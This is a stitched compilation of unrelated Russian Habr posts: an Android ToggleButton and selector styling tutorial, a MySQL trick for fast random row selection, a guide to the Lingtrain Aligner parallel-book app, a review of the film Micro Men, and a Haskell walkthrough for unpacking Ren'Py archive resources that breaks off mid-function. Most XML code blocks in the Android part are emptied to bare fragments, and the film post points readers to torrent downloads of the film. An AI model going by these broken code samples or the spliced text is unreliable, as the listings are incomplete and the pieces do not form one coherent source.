Что такое `dp`? Density-independent pixel — мера, которая будет автоматически масштабироваться на устройствах с разной плотностью пикселей экрана так, чтобы элемент выглядел одинаково. Всегда используйте `dp`, а не `px`, когда необходимо задать конкретный размер, иначе приложение будет выглядеть хорошо только на вашем телефоне.
Атрибут `android:padding` задает одинаковые отступы со всех сторон. Если мы хотим задать разные отступы с каждой стороны отдельно, можем использовать атрибуты `android:paddingLeft`, `android:paddingRight`, `android:paddingTop`, `android:paddingBottom`, `android:paddingStart` и `android:paddingEnd`.
Рассмотренные нами до сих пор атрибуты есть не только у кнопки, но и у других элементов. Например, `android:background` есть у всех видимых элементов, `android:drawableLeft` — у `TextEdit` и так далее.
Идем дальше. Если запустить наше приложение, мы увидим, что при щелчке на кнопку ее внешний вид никак не меняется, то есть визуально не видно, нажата кнопка или нет. В таком виде оставлять нашу кнопку нельзя, так как пользователь не сможет понять, работает приложение, или нет.
##### Работаем с состояниями в Android
Здесь нам на помощь приходят состояния. Когда с кнопкой ничего не происходит, она находится в не нажатом состоянии. Если на кнопке находится фокус ввода, она переходит в состояние `state_focused`. Если нажать на кнопку пальцем, она будет находиться в состоянии `state_pressed`, пока мы не отпустим палец. Как это нам поможет? Мы можем задавать внешний вид элементов для каждого состояния отдельно. Дальше мы детально рассмотрим, как это делается. Обратите внимание, что состояние можно использовать для отрисовки всего, что видно пользователю: иконки, картинки, отдельные цвета и т.п.
Начнем с фона. Зададим для нашей кнопки красную рамку, когда она в фокусе, и рамку с инвертированными цветами, когда она нажата. Для этого импортируйте в каталог `drawable-hdpi` следующие изображения:
[ кликните, чтобы скачать](https://habrastorage.org/getpro/habr/post_images/8d2/2b6/261/8d22b62618b75086a01dda42326d3849.png)
[ кликните, чтобы скачать](https://habrastorage.org/getpro/habr/post_images/c9e/6b2/5e5/c9e6b25e540770f7f5f6c9c2b01e5b1e.png)
Теперь у нас есть 3 картинки фона на 3 состояния. Но атрибут `android:background` можно задать только один раз. Чтобы выйти из ситуации, мы создадим новый drawable-ресурс `selector`, объединяющий наши 3 картинки.
Щелкнем правой кнопкой мыши на каталоге `drawable-hdpi`, выберем New->Android XML File. Введем название файла `button_background` и выберем корневой элемент `selector`:
Finish.
Мы получили заготовку следующего содержания:
```
xml version="1.0" encoding="utf-8"?
```
Добавим в селектор картинки для состояния `state_focused` и `state_pressed`:
```
xml version="1.0" encoding="utf-8"?
```
Обратите внимание, что для картинки `button_normal` состояние не указывается. Это означает, что такая картинка будет использована всегда, если кнопка не в состоянии `state_focused` или `state_pressed`. Кроме рассмотренных состояний можно использовать еще несколько, полный перечень описан [здесь](http://developer.android.com/reference/android/graphics/drawable/StateListDrawable.html)
Как работает селектор? Когда селектор назначен какому-то элементу, он постоянно получает состояние элемента-хозяина, и возвращает ему первый из перечисленных ресурсов, который соответствует состоянию владельца.
Откроем текст нашего макета `activity_main.xml` и заменим фон кнопки на `button_background`:
```
```
Также затемним фон всего окна, чтобы лучше видеть белую рамку нажатой кнопки:
```
```
Теперь, если запустить приложение на эмуляторе, и нажать кнопку, мы увидим, что она меняет свой фон:
##### Изменяем иконку при нажатии
Уже неплохо, но можно и лучше. Давайте повторим процесс создания селектора для смены иконки телефона в нажатом состоянии. Импортируйте в `drawable-hdpi` иконку `icon_phone_pressed.png`:
[ кликните, чтобы скачать](http://habr.habrastorage.org/post_images/2b7/83a/73c/2b783a73cdc76af2076ef28c649b325c.png)
Создайте селектор `icon_phone` со следующим текстом:
```
xml version="1.0" encoding="utf-8"?
```
И в тексте кнопки замените `drawableLeft` на наш новый селектор `icon_phone`:
```
```
##### Изменяем цвет текста при нажатии
Теперь иконка меняется при нажатии на кнопку так же, как и фон. Осталось разобраться с цветом текста. Он пока что остается черным в любом состоянии. Если бы в нажатом виде текст тоже становился белым, как рамка и иконка, кнопка выглядела бы куда интереснее.
Управление цветом несколько отличается от картинок. Пойдем по порядку. Во-первых, цвета хранятся в отдельном каталоге, который мы должны создать. Добавим подкаталог `color` в каталоге `res`, на одном уровне с каталогом `drawable-hdpi`:
Далее в каталоге `color` создадим Android XML File с именем `text_color` и корневым элементом `selector`:
И заменим его содержимое следующим:
```
xml version="1.0" encoding="utf-8"?
```
По аналогии с картинками, здесь задаются цвета для состояния `state_pressed` и состояния по умолчанию. Цвета здесь задаются двумя способами: `android:color="@android:color/white"` и `android:color="#484848"`
В первом случае мы используем заранее созданный цвет в пространстве имен `android`. Во втором — указываем RGB-значение цвета в шестнадцатиричной системе исчисления. В данном случае мы задали цвет по умолчанию такой же, как цвет рамки в ненажатом виде.
Теперь вернемся к исходнику нашей кнопки и пропишем цвет текста `android:textColor="@color/text_color"`:
```
```
Теперь мы не можем видеть результат в Graphical Layout, это известная проблема плагина, которую, я надеюсь, Google когда-нибудь починит. К сожалению, тестировать цвета с состоянием можно только на эмуляторе или реальном устройстве.
На этом художественная часть верстки завершена. Сейчас кнопка выглядит так:
##### Прикручиваем ToggleButton
Далее поговорим о том, как отображать состояние телефонии на кнопке (вкл/выкл). Мы помним, что у кнопки иконка может быть не только слева. Для отображения текущего состояния мы добавим кнопке иконку справа. Пусть это будет галочка для состояния Вкл и крестик для состояния Выкл. Как мы будем менять иконки? Самый очевидный вариант — это определить обработчик события `OnClickListener` и поочередно менять иконку `drawableRight`. Вполне рабочий вариант. Но что делать, если на странице не одна, а 10 кнопок, и вообще кнопка может быть не только на этой странице. Тогда наш путь приведет к дублированию кода, который будет копипастом кочевать из одной Activity в другую, не самое красивое решение. Да и если нужно будет что-то изменить, менять придется во многих местах. Хотелось бы этого избежать.
К счастью, Android предоставляет для этих целей специальный компонент — `ToggleButton`. Эта кнопка может находиться в двух состояниях: включено и выключено. Заменим в нашем макете тег `Button` на `ToggleButton`:
```
```
Так как `ToggleButton` наследуется от `Button`, к ней применимы все атрибуты `Button`, но есть нюанс. `ToggleButton` игнорирует атрибут `text`, зато вводит два новых: `textOn` и `textOff`. Они задают текст для включенного и выключенного состояний соответственно. Но мы хотим отображать состояние картинкой, а текст хотим оставить как есть. Поэтому пропишем наш текст обоим атрибутам, а атрибут `text` уберем за ненадобностью:
```
```
Теперь подготовим картинки для отображения состояния кнопки. Импортируйте в `drawable-hdpi` ресурсы `icon_on_normal.png`, `icon_on_pressed.png`, `icon_off_normal.png` и `icon_off_pressed.png` (представлены в порядке перечисления):
[ кликните, чтобы скачать](https://habrastorage.org/getpro/habr/post_images/4c2/d77/65e/4c2d7765eef9c5ade5d0b881d28c14f5.png)
[ кликните, чтобы скачать](http://habr.habrastorage.org/post_images/eda/7ba/684/eda7ba684ebdb6425c6c66cc69308bce.png)
[ кликните, чтобы скачать](https://habrastorage.org/getpro/habr/post_images/c19/7d7/b5c/c197d7b5cd6971ef47bf441ad7db5883.png)
[ кликните, чтобы скачать](http://habr.habrastorage.org/post_images/be4/99f/634/be499f634a4a7c5240dd0190d9164356.png)
**Внимание**: белые иконки на прозрачном фоне не очень здорово видны в браузере на белом фоне.
Зачем четыре иконки? Вспомним, что мы хотим отображать все элементы кнопки белыми, когда пользователь удерживает кнопку нажатой. Поэтому для каждого состояния Вкл и Выкл мы должны дать по две иконки: в нажатом и отпущенном состоянии. Итого четыре.
Создадим новый `drawable` селектор с именем `icon_on_off`:
```
xml version="1.0" encoding="utf-8"?
```
Здесь видно, что компонент может иметь сразу несколько состояний, например он может быть одновременно отмеченным и нажатым, или отмеченным и ненажатым и так далее.
`android:state_checked="true"` соответствует кнопке в режиме Вкл, а `android:state_checked="false"` — кнопке в режиме Выкл.
Теперь вернемся к нашей кнопке и добавим ей атрибут `android:drawableRight="@drawable/icon_on_off"`. Для наглядности я добавил его сразу после `android:drawableLeft`:
```
```
Что у нас получится, если запустить приложение? Мы видим кнопку ненажатую, в режиме Выключено. При этом если ее нажать и держать, все элементы отображаются белым на сером фоне:
Отпускаем кнопку, состояние меняется на Включено. Если нажать еще раз, снова увидим серый фон и белые иконки, после чего состояние опять будет Выключено:
Именно то, что нам нужно.
##### Немного кода
На всякий случай давайте посмотрим, как можно в коде нашего приложения понять, включена кнопка или выключена. Для этого мы можем анализировать значение `isChecked()` кнопки: `true` — включена, `false` — выключена. Добавим атрибут `android:onClick="onToggleButtonClick"` к нашей кнопке:
```
```
В `MainActivity.java` добавим соответствующий метод:
```
package com.mysteriesofbuttons.part1;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;
import android.widget.ToggleButton;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void onToggleButtonClick(View button) {
Toast.makeText(
getApplicationContext(),
Boolean.toString(((ToggleButton) button).isChecked()),
Toast.LENGTH_SHORT).show();
}
}
```
Запустив приложение и нажав кнопку, мы увидим внизу экрана текстовые подсказки `true`/`false`. А это значит, что все работает.
##### Заключение
Как видите, возможности верстки в Android весьма обширны: в данной статье весь функционал, кроме подсказок, реализован только версткой. Но это далеко не все.
В данной статье код XML намеренно оставлен неидеальным. Изучение базовых возможностей верстки и продвинутая оптимизация — это две разные темы. Конечно, настоящие гуру должны сразу писать оптимально. Но данная статья преследует учебные цели и рассчитана на начинающих разработчиков, поэтому я решил усложнять постепенно.
Всех желающих изучить пример оптимизации верстки в Android приглашаю прочесть и обсудить [вторую часть](http://habrahabr.ru/post/206064/) данной статьи. В ней я рассматриваю следующие темы:
* использование строковых ресурсов `strings.xml`
* собственные стили `styles.xml` и наследование стилей
* темы
* ресурсы размерностей `dimens.xml`
Эти вопросы будут изучены на примере оптимизации кода из первой части статьи. А пока благодарю всех, кто нашел время прочесть мою статью. Надеюсь, я смог показать что-то новое. Жду ваших отзывов и комментариев.
##### Полезные ссылки
* [Готовый проект Android-приложения из данной статьи](https://drive.google.com/file/d/0BybbKWPLbv8ZbzFEX2V1b3o5RkU/edit?usp=sharing)
* [Тайны кнопок в Android. Часть 2: Рефакторинг верстки](http://habrahabr.ru/post/206064/)
* [Верстка RelativeLayout](http://developer.android.com/guide/topics/ui/layout/relative.html)
* [Верстка Nine patch drawable](http://developer.android.com/guide/topics/graphics/2d-graphics.html#nine-patch)
* [Выравнивание текста в Button'ах и EditText'ах](http://developer.android.com/reference/android/widget/TextView.html#attr_android:gravity)
* [Поддержка экранов разных размеров и плотности](http://developer.android.com/guide/practices/screens_support.html)
* [Состояния, которые можно использовать в селекторе](http://developer.android.com/reference/android/graphics/drawable/StateListDrawable.html)
* [iPUMB — ПУМБ online](https://play.google.com/store/apps/details?id=com.fuib.android.ipumb.phone) — пример приложения, в котором я использовал описанные приемы верстки | https://habr.com/ru/post/206012/ | null | ru | null |
# Быстрый выбор случайных значений из больших таблиц MySQL по условию
Задача выбора случайных строчек из таблицы довольно часто возникает перед разработчиками.
В случае, если используется СУБД MySQL, обычно она решается примерно следующим способом:
`SELECT *
FROM users
WHERE role_id=5
ORDER BY rand()
LIMIT 10`
Такой код работает крайне медленно для больших таблиц.
Если в запросе не нужно использовать WHERE или таблица небольшая, есть эффективные решения, например [habrahabr.ru/post/54176](http://habrahabr.ru/post/54176/) или [habrahabr.ru/post/55864](http://habrahabr.ru/post/55864/).
Но готовых решений для большой таблицы и необходимости фильтровать по условию, получая при каждом запросе новые значения, я не нашел, поэтому описание моего способа под катом.
Как оказалось, MySQL не умеет эффективно выбирать случайные строки с помощью ORDER BY rand() LIMIT N, где необходимо отфильтровать строки по условию (хотя тот же MSSQL отлично справляется с выбором случайных строк из таблицы с большим количеством записей).
Итак, решая задачу «в лоб», запрос (в таблице 5млн. записей):
`SELECT *
FROM users
WHERE role_id=5
ORDER BY rand()
LIMIT 10`
Запрос занял 41.3544 сек., что недопустимо долго. Найти максимальный и минимальный id, а затем выбрать случайные id из промежутка в данном случае нельзя: из-за условия WHERE, id идут уже не по порядку и разряженно.
Мое решение следующее: добавляется таблица random\_seed, содержащая поля id и random\_seed, заполняемая случайными числами, на данную колонку добавляется индекс, также индекс добавляется на колонку, по которой будет происходить выборка.
Теперь, чтобы выбрать случайные строки по условию, запрос нужно поменять следующим образом (в таблице 5млн. записей):
`SELECT
u1.*
FROM
users u1,
random_seed rs
WHERE
u1.role_id=5 AND u1.id=(rs.id+random_from_php)
ORDER BY
rs.random_seed
LIMIT 10`
Запрос занял 0.0460 сек., что является уже более чем приемлемым результатом. Переменная random\_from\_php генерируется вызывающим запрос кодом, что обеспечивает случайный набор значений при каждом запросе, это число обеспечит выборку по новым случайным числам. В таблице random\_seed должно быть столько же значений, сколько в таблице, из которой нужно брать случайные строки + N записей, где N это максимально возможное значение random\_from\_php.
Реальный пример из моей работы — выбор случайных категорий товаров из разных комбинаций (всего 4000000 записей):
| | |
| --- | --- |
| «Обычный»: запрос | «Ускоренный» запрос: |
| SELECT
oc1.\*
FROM
object\_category oc1
WHERE oc1.region\_id=6
ORDER BY RAND()
LIMIT 10 | SELECT
oc1.\*
FROM
object\_category oc1, random\_seed rs
WHERE
oc1.id=(rs.id+564756) AND oc1.region\_id=6
ORDER BY
rs.random\_seed
LIMIT 10 |
| Время выполнения: | |
| 1.726с | 0.007с |
| 1.851с | 0.010с |
| 1.803с | 0.006с |
| 1.784с | 0.008с |
Преимущества описанного выше метода:
+ Самый быстрый из возможных способов выбора случайных строк из таблицы по условию
+ Не нужно повторно генерировать случайные числа для каждой из строк в таблице
+ Запрос всех нужных значений происходит не итерационно, в один запрос
Минусы:
— Необходимость ввода дополнительной таблицы
— Необходимость изменения привычных запросов | https://habr.com/ru/post/207096/ | null | ru | null |
# Lingtrain Aligner. Написал приложение для создания параллельных книг, которое вас удивит
Здравствуй, читатель. Хотелось бы ненадолго отвлечь твое внимание от новостей и историй данной технической статьей. Поэтому пусть такой "кликбейтный" затравочный заголовок не вводит тебя в заблуждение.
В этой статье я расскажу как сделать параллельную книгу, имея на руках два текста на разных языках. Я написал веб-приложение, которое упрощает процесс выравнивания, превращая сырые тексты в книги и параллельные корпуса. Хочу поделиться с сообществом этим проектом, а также узнать ваше мнение. Технические детали я описывал [здесь](https://habr.com/ru/post/557664/) и [здесь](https://habr.com/ru/post/560692/), код приложения открытый. Поехали.
Установка
---------
Приложение я оформил в виде docker контейнера, поэтому запустить его у себя на машине не должно составить труда. Также можно запустить приложение из исходников, инструкция есть в репозитории.
Итак, для запуска приложения у себя на компьютере нужно выполнить следующие команды:
```
docker pull lingtrain/aligner:v4
docker run -v C:\app\data:/app/data -v C:\app\img:/app/static/img -p 80:80 lingtrain/aligner:v4
```
C:\app\data и C:\app\img — это папки на вашем компьютере.
Контейнер скачается с репозитория Docker Hub и запустится на 80-м порту. Откроем приложение в вашем любимом браузере по адресу localhost.
Сделаем три шага: загрузка, выравнивание, генерация.
Демо
----
Для демонстрации возможностей приложения я записал видео:
Дальше немного подробностей, о том за что отвечает каждый шаг.
Выбор языка
-----------
В шапке можно выбрать язык оригинала и перевода. Пока что я добавил 16 наиболее популярных языков. Сама модель не принимает на вход такой параметр как язык, потому что обладает единым словарем для всех токенов. Однако выбор языка в приложении позволяет проделать с входным текстом какие-то специфические для языка манипуляции (например, поправить пунктуацию) и улучшить качество разбиения по предложениям.
Если нужного языка в списке пока нет, то можно выбрать английский.
Загрузка
--------
На первой вкладке необходимо загрузить два текстовых файла, из которых мы будем делать книгу. Это обычные тексты, которые необходимо предварительно разметить. При помощи разметки мы определим строки, которые являются названиями глав книги, эпиграфами и другой метадатой, также мы сможем расставить адреса картинок в необходимых местах. Разметка в выравнивании не участвует. Язык разметки был реализован следующим образом — в конце необходимой строки ставится тег; в начале выравнивания все такие строки извлекаются с сохранением их координат. При генерации они преобразуются в html элементы и расставляются по своим местам.
Сейчас поддерживаются следующие метки:
| Метка | Значение | Пример |
| --- | --- | --- |
| %%%%%author. | Автор | Фрэнк Герберт%%%%%author. |
| %%%%%title. | Название | Дюна%%%%%title. |
| %%%%%qtext. | Цитата | Быстро — это медленно, но без перерывов%%%%%qtext. |
| %%%%%qname. | Подпись под цитатой | Японская поговорка%%%%%qname. |
| %%%%%image. | Изображение | <https://ya.ru/image.png%%%%%image>. |
| %%%%%h1. %%%%%h2. | Заголовки (большой и поменьше) | Глава 1%%%%%h2. |
| %%%%%divider. | Разделитель (завитушка) | %%%%%divider. |
Ещё есть метки для абзацев, которые сохраняют структуру документа, но они расставляются автоматически. Таким образом, нужно привести тексты вот к такому виду:
```
Аркадий и Борис Стругацкие%%%%%author.
Понедельник начинается в субботу%%%%%title.
Сказка для научных сотрудников младшего возраста%%%%%h2.
Но что страннее, что непонятнее всего, это то, как авторы могут брать подобные сюжеты, признаюсь, это уж совсем непостижимо, это точно… нет, нет, совсем не понимаю.%%%%%qtext.
Н. В. Гоголь%%%%%qname.
История первая. Суета вокруг дивана%%%%%h1.
https://habrastorage.org/webt/2m/5r/jd/2m5rjdep6ej2rna5rhfioluig1u.png%%%%%image.
Глава первая%%%%%h2.
Учитель: Дети, запишите предложение: «Рыба сидела на дереве».%%%%%qtext.
Ученик: А разве рыбы сидят на деревьях?%%%%%qtext.
Учитель: Ну… Это была сумасшедшая рыба.%%%%%qtext.
Школьный анекдот%%%%%qname.
Я приближался к месту моего назначения. Вокруг меня, прижимаясь к самой дороге, зеленел лес, изредка уступая место полянам, поросшим желтой осокою. Солнце садилось уже который час, все никак не могло сесть и висело низко над горизонтом. Машина катилась по узкой дороге, засыпанной хрустящим гравием. Крупные камни я пускал под колесо, и каждый раз в багажнике лязгали и громыхали пустые канистры.
Справа из леса вышли двое, ступили на обочину и остановились, глядя в мою сторону. Один из них поднял руку. Я сбросил газ, их рассматривая. Это были, как мне показалось, охотники, молодые люди, может быть, немного старше меня. Их лица понравились мне, и я остановился. Тот, что поднимал руку, просунул в машину смуглое горбоносое лицо и спросил, улыбаясь:
– Вы нас не подбросите до Соловца?
...
```
Все метки кроме автора и названия опциональные. Если оформление книги не важно, то можете просто поудалять из текста заглавия и эпиграфы, а метки не расставлять.
После загрузки документа можно будет посмотреть на то, как текст разделился на предложения и провалидировать разметку. Будут видны все названия глав и прочее.
Для корректного оформления книги необходимо, чтобы количество соответствующих меток совпадало.
Выравнивание
------------
На второй вкладке нужно выбрать загруженные ранее документы и посмотреть, насколько сильно отличается количество предложений. Если отличие в пределах 10%, то скорее всего это норма, — в зависимости от конкретного переводчика или языка у текстов могут быть различные тенденции деления по предложениям. Например, при переводе на китайский сложные предложения часто переводятся как несколько простых.
Если различие в количестве строк очень большое, то надо убедиться, что оба текста полные, — в них одинаковое количество глав, не выброшены большие куски и т.д. При выравнивании таких текстов будут большие разрывы, а книга получится "дырявой". В таком случае можно поискать тексты получше или довольствоваться тем, что есть.
Дальше нужно выбрать наши документы и создать выравнивание. После этого появятся настройки — *количество батчей*, *сдвиг* и *окно*.
### Настройки
*Количество батчей.* Выравнивание идет по кускам размером 200 строк, можно задать количество таких кусков для обсчета в параллель. Максимально можно выровнять 5 батчей, то есть 1000 строк за раз.
*Окно.* При помощи размеров окна можно регулировать "нахлёст" батчей друг на друга, чтобы правильные варианты точно попадали в выравнивание.
*Сдвиг.* Если на каком-то участке слишком сильно отличается количество предложений между текстами, то правильные варианты могут не попасть в окно и модель будет выдавать случайные соответствия. Все это будет видно на визуализации и можно либо увеличить окно, либо отрегулировать поток сдвигом текста вперед или назад.
### Визуализация
После первичного выравнивания станет доступна панель визуализации, на которой можно посмотреть как отработала наша модель.
### Конфликты
На первом этапе модель подобрала для каждого предложения наилучшее соответствие. Но так как количество предложений различается, то остаются конфликты, на которые можно посмотреть в соответствующей секции. После этого можно автоматически их разрешить.
Визуализация при этом также обновится.
### Редактор
Самая сложная часть приложения по части UI. В редакторе можно редактировать параллельный корпус (именно его мы сделали на предыдущих этапах), — добавлять и удалять строки, сливать их вместе и редактировать. При этом сохраняются идентификаторы строк, что позволит нам сохранить привязку к строкам источника. Так же в редакторе можно править конфликты, которые не исправились автоматически. Это может быть на концах корпуса, потому что система ориентируется на хорошие цепочки выравнивания, которых может не быть в начале и в конце.
Выглядит редактор так:
Кнопки управления появляются при наведении на ячейку.
Можно добавить в ячейку существующую строку, выбрав ее из списка.
### Подстрочник
На случай работы с языками, в которых у вас нет уверенности, можно добавить подстрочный перевод.
Для этого надо скачать разбитый по предложениям текст, перевести его и загрузить обратно. Для перевода можно воспользоваться лайфхаком — открыть текст в браузере и перевести через функцию перевода странички. Такая функция, например, в Chrome предлагается автоматически.
Выровняв корпус и подредактировав его, можно перейти к третьей вкладке.
Генерация
---------
Имея на руках готовое выравнивание можно либо извлечь из него параллельные корпуса (полезно для специалистов по машинному обучению и лингвистов), либо создать книгу (для изучающих или преподающих иностранные языки).
### Книга
Прежде чем сгенерировать стилизованный html с книгой можно его немного настроить. Кроме выбора с какой стороны взять информацию о разбиении на абзацы, можно выбрать расположение текстов — какой слева, а какой справа. Также можно добавить подсветку соответствий предложений, выбрав стиль.
Можно просмотреть начало книги прямо на странице. Из меток, которые мы добавили, создадутся стилизованные заголовки, разделители, эпиграфы и прочее. Обычный текст будет объединен в абзацы, согласно автоматической разметке.
### Параллельные корпуса
Можно извлечь из выравнивания параллельные корпуса по отдельности, а можно в формате [TMX](https://ru.wikipedia.org/wiki/Translation_Memory_eXchange). Корпуса можно использовать при обучении языковых моделей и в других научно-прикладных задачах.
### Скачать
Скачать результат можно в заключительной секции.
Эпилог
------
Мне, как фанату изучения языков, очень хочется, чтобы любой человек, который изучает или преподает языки смог бы быстро и просто сделать себе параллельную книгу. Ведь найти себе такую по душе сложнее чем две книжки по отдельности. [Параллельные корпуса](https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%82%D0%B5%D0%BA%D1%81%D1%82) так же несут в себе большую пользу. Например, модели нейронного перевода обучаются именно на них.
Код проекта открытый, приложение написано на Vue и Python. Идеи и предложения приветствуются. Спасибо за внимание.
Ссылки
------
* [Код проекта на github](https://github.com/averkij/a-studio)
* [Телеграм-группа](http://t.me/lingtrain_books) | https://habr.com/ru/post/564944/ | null | ru | null |
# Micro Men — история Клайва Синклера как памятка новым поколениям
Помнишь ZX-Spectrum, хабрачеловек?
Вот и англичане тоже помнят, да так помнят, что сняли художественный фильм по мотивам великого бума домашних ПК в UK, случившегося в период 1980-1984 г.
Заказ на производство от BBC, [анонс](http://www.guardian.co.uk/tv-and-radio/2009/oct/03/clive-sinclair-micro-men-alexander-armstrong) в таблоиде The Guardian, премьера 8 октября 2009 г. на канале BBC Four (с охватом аудитории 1.4 млн. зрителей) и последующие одобрительные [рецензии](http://www.guardian.co.uk/tv-and-radio/2009/oct/09/micro-men-sinclair-curry) ([тысячи](http://www.teamteabag.com/2009/10/08/review-micro-men-tv-bbc4/) [их](http://www.shinyshelf.com/article/3/2/1637)), как бы четко намекают нам: *«Смотреть немедля!»*.
Детали этой затейливой и поучительной история первых компьютерных стартапов восьмидесятых годов чуть ниже...
`**Micro Men 2009 (TV)**
IMDB User Rating: 7.1/10
Director: Saul Metzstein
Writer: Tony Saint
Cast: Alexander Armstrong (Clive Sinclair), Martin Freeman (Chris Curry), Edward Baker-Duly (Hermann Hauser)`
Итак, перед нами отлично снятая черная комедия по размаху событий лишь немногим уступающая [«Пиратам Кремниевой Долины»](http://www.imdb.com/title/tt0168122/). Два энтузиаста своего дела, Клайв Синклер (Sinclair Research) и Крис Карри (Acorn Computers) на пути к успеху через разработку первых доступных домашних компьютеров. Идеи, озарения, разногласия в концепциях, ненависть, кровь, подрыв рынка новыми технологиями — все смешалось в этом кинопроизведении. Сюжет картины полностью основан на реальных событиях с минимальной долей выдуманных сценаристами эпизодов, отлично ложащихся в трагикомедийную стилистику.
**Трейлер №1**: *Micro Men — Clive Sinclair — Temper Temper*
**Трейлер №2**: *Micro Men (Formerly Syntax Era) Trailer*
Micro Men учит смотреть на идею с разных сторон. Объединять усилия в случае необходимости, корректировать стратегию с учетом активности конкурентов, вступать в альянсы для борьбы с общей угрозой. Ну и конечно главная бизнес идея: *«Продайся вовремя, а то будет нечего продавать!»*
Впрочем, зачем я все это вам рассказываю — посмотрите и сделаете свои выводы. Это действительно стоящий фильм, с интересной идейной составляющей, хорошо положенной на исторические факты. По большому счету, ситуация с новыми концепциями на рынке повторяется из десятилетия в десятилетие: «Если хочешь сделать новый Гугл, посмотри как это делалось до тебя!»
Скачать фильм можно с зарубежных торрентов загуглив [Micro Men (8 October 2009)[PDTV(XviD)].avi](http://torrentz.com/e589d12556a1a327adb50c2235fb33ccb14b6d71) (683 Mb, 624x352, 130kbps, XviD). Рядом лежит версия в качестве 720p (имя файла Micro\_Men.720p\_HDTV\_x264-FoV.mkv), живая раздача замечена на [thebox.bz](http://thebox.bz).
Фильм на языке оригинала (т.е. английском), надеюсь это не остановит вас от просмотра. Ну, а если языковой барьер встанет ребром — попросите своего бизнес-ангела, он то точно сможет перевести :-)
P.S. Русские субтитры и озвучка рождаются вот [здесь](http://zx.pk.ru/showthread.php?t=11368). **Первые результаты:** любительская русская звуковая дорожка [narod.ru/disk/15764228000/MMen7775.mp3.html](http://narod.ru/disk/15764228000/MMen7775.mp3.html)
P.P.S. Чуть было не забыл! Лично у меня теперь не осталось сомнений какие компьютеры были у креативщиков Wolf Ollins (яйцо МТС) в школьные годы. | https://habr.com/ru/post/76397/ | null | ru | null |
# Как я визуальную новеллу препарировал
Привет, Хабр!
На днях я захотел достать ресурсы одной визуальной новеллы, созданной с помощью Ren'Py ~~(Да, да, того самого "Бесконечного Лета")~~. Опытным путем было установлено, что все они хранятся в файле archive.rpa. Я нашел готовые скрипты для распаковки на Github, но решил достать их сам, Haskell в помощь...
### archive.rpa
Во-первых, давайте разберемся с чем конкретно мы имеем дело, то есть как ресурсы хранятся в нашем "архиве". Откроем его в dhex или в аналогичной программе:
Что мы видим? Сначала данные о Ren'Py, потом еще что-то, а потом — начало PNG файла! Вот оно!
Долистаем до конца PNG:
**Про начало и конец PNG**Тип бинарного файла можно определить по его первым байтам (т. н. "магическому числу"). У PNG "магические" байты таковы: 89 50 4e 47 0d 0a 1a 0a. Конец же PNG файла тоже всегда одинаков: 49 45 4e 44 ae 42 60 82
Список "магических чисел" других форматов можно найти [здесь](https://en.wikipedia.org/wiki/List_of_file_signatures)
Ага! PNG кончился, после него байты 4d 61 64 65 20 77 69 74 68 20 52 65 6e 27 50 79 2e (в ASCII: "Made with Ren'Py."), после чего — начало нового PNG. Вывод: данные ресурсов в .rpa архивах разделяются этой последовательностью байтов. Время подумать о программе.
### Пишем код
Итак, что же конкретно должна делать программа? Вот это:
1. Считать файл
2. Разбить его на файлы ресурсов
3. Записать файлы ресурсов в папку, определенную пользователем
4. Приделать каждому файлу соответствующее расширение
#### Разбиваем на части
Начнем, пожалуй, с функции разбиения на файлы:
Extractor.hs:
```
module Extractor where
import qualified Data.ByteString.Lazy as B
import Data.List.Split
extractRes :: B.ByteString -> [B.ByteString]
extractRes bs = map B.pack $ splitOn magicSep $ B.unpack bs
magicSep = [0x4d, 0x61, 0x64, 0x65,
0x20, 0x77, 0x69, 0x74,
0x68, 0x20, 0x52, 0x65,
0x6e, 0x27, 0x50, 0x79,
0x2e]
```
Здесь `magicSep` — это те самые "магические" байты, разделяющие файлы ресурсов. Функция `extractRes` берет строку байтов, преобразует ее в список, разбивает его на списки байтов файлов, и каждый из этих списков преобразуется обратно в строку байтов. Остается один вопрос: зачем я использовал ленивую разновидность строк байтов? Ответ на него мы вскоре получим.
#### Устанавливаем расширение
ExtensionId.hs:
```
module ExtensionId where
import qualified Data.ByteString.Lazy as B
import Data.List (isPrefixOf)
import System.Directory
type FileType = String
readExtension :: FilePath -> IO (Maybe FileType)
readExtension path = B.readFile path >>= (return . getExtension)
writeExtension :: FilePath -> Maybe FileType -> IO ()
writeExtension _ Nothing = return ()
writeExtension path (Just ext) = renameFile path $ path ++ ext
getExtension :: B.ByteString -> Maybe FileType
getExtension = magicLookup magicMap
magicLookup :: [(B.ByteString, FileType)] -> B.ByteString -> Maybe FileType
magicLookup [] _ = Nothing
magicLookup ((magic, fileType) : rest) bytes
| (B.unpack magic) `isPrefixOf` (B.unpack bytes) = Just fileType
| otherwise = magicLookup rest bytes
magicMap = [(pngMagic, ".png"),
(jpgMagic, ".jpg"),
(oggMagic, ".ogg")]
pngMagic = B.pack [0x89, 0x50, 0x4e, 0x47]
jpgMagic = B.pack [0xff, 0xd8, 0xff]
oggMagic = B.pack [0x4f, 0x67, 0x67, 0x53]
```
Здесь мы видим две главные функции: `readExtension` и `writeExtension`. Несложно догадаться, что одна считывает первые байты файла и на их основе устанавливает расширение, а вторая — переименовывает файл в соответствии с ним. Всю грязную работу по определению расширения на себя берет функция `magicLookup`, которая просто проходит по списку известных "магических чисел" и сравнивает их с началом файла. `magicMap` представляет из себя список соответствий байтов и расширений, `pngMagic`, `jpgMagic` и `oggMagic` — "магические числа" форматов файлов. Их список может быть расширен читателем, но я точно знал, что кроме этих форматов в архиве ничего не встретится.
#### Уффф...
Остался наш дорогой Main.hs:
```
module Main where
import qualified Data.ByteString.Lazy as B
import System.Environment
import System.Directory
import System.FilePath
import System.IO
import ExtensionId
import Extractor
main :: IO ()
main = do
args <- getArgs
if (length args) /= 2
then usage
else extractToFolder (args !! 0) (args !! 1)
extractToFolder :: FilePath -> FilePath -> IO ()
extractToFolder input output = do
b <- doesFileExist input
if b
then do
b <- doesDirectoryExist output
if b
then do
c <- confirm $ "Folder " ++ output ++ " already exists, overwrite it? (y/n): "
if c
then do
removeDirectoryRecursive output
createDirectory output
extractToFolder' input output
else return ()
else extractToFolder' input output
else putStrLn $ "Input file " ++ input ++ " does not exist"
extractToFolder' :: FilePath -> FilePath -> IO ()
extractToFolder' input output = do
bytes <- B.readFile input
let bs = extractRes bytes
doNastyWork bs 0
where doNastyWork [] _ = putStrLn "Done."
doNastyWork (bs : rest) n = do
let path = output ("extraction_" ++ (show n))
